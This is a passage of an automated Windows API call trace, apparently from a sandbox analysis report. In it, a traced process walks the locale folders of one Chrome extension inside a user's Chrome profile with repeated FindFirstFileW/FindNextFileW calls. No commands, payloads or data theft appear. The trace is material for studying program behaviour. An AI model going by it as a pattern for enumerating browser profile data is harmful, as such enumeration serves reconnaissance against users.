nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0056.287] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.287] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.288] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83462fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.288] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83462fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.288] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.288] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.288] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0056.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.288] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.288] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8346cc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83471a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4082, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.288] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8346cc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83471a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4082, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.288] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.288] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.288] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0056.289] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.289] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.289] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83478f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x419f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.289] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83478f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x419f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.289] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.289] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.289] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1 [0056.289] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.290] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.290] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83480480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5079, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.290] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83480480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5079, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.290] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.290] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.290] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0056.290] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.290] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.290] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834879b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x50f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.290] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834879b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x50f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.290] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.290] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.291] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0056.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.291] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.291] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8348eee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.291] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8348eee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.291] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.291] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.291] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0056.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.291] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.291] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83498b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8349d940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.292] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83498b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8349d940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.292] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.292] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.292] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0056.292] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.292] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.292] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a4e70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.292] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a4e70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.292] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.292] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.292] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0056.292] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, 